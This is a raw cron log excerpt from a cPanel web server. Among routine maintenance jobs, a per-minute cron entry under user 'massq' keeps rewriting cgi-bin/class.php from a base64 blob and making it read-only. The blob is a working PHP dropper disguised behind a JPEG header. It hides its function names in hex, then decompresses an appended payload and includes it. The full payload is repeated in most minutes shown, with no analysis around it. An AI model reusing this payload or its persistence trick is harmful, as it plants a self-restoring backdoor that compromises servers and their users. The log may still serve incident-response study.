Aug 30 21:40:01 server CROND[24750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:40:01 server CROND[24752]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:40:01 server CROND[24753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:40:01 server CROND[24748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:41:01 server CROND[25594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:41:01 server CROND[25595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:41:01 server CROND[25596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:42:01 server CROND[26067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:42:01 server CROND[26068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:42:01 server CROND[26069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:42:01 server CROND[26070]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:43:01 server CROND[26449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:43:01 server CROND[26448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:43:01 server CROND[26450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:44:01 server CROND[26830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:44:01 server CROND[26831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:44:01 server CROND[26832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:45:01 server CROND[27219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:45:01 server CROND[27220]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:45:01 server CROND[27221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:45:01 server CROND[27225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:45:01 server CROND[27222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:45:01 server CROND[27228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:45:01 server CROND[27224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:46:01 server CROND[28047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:46:01 server CROND[28048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:46:01 server CROND[28049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:47:01 server CROND[28414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:47:01 server CROND[28415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:47:01 server CROND[28416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:48:01 server CROND[28882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:48:01 server CROND[28883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:48:01 server CROND[28884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:49:01 server CROND[29262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:49:01 server CROND[29263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:49:01 server CROND[29264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:50:01 server CROND[29648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:50:01 server CROND[29649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:50:01 server CROND[29652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:50:01 server CROND[29654]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:50:01 server CROND[29655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:50:01 server CROND[29661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:50:01 server CROND[29656]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:50:01 server CROND[29660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:50:01 server CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:51:01 server CROND[30556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:51:01 server CROND[30557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:51:01 server CROND[30558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:52:01 server CROND[30932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:52:01 server CROND[30933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
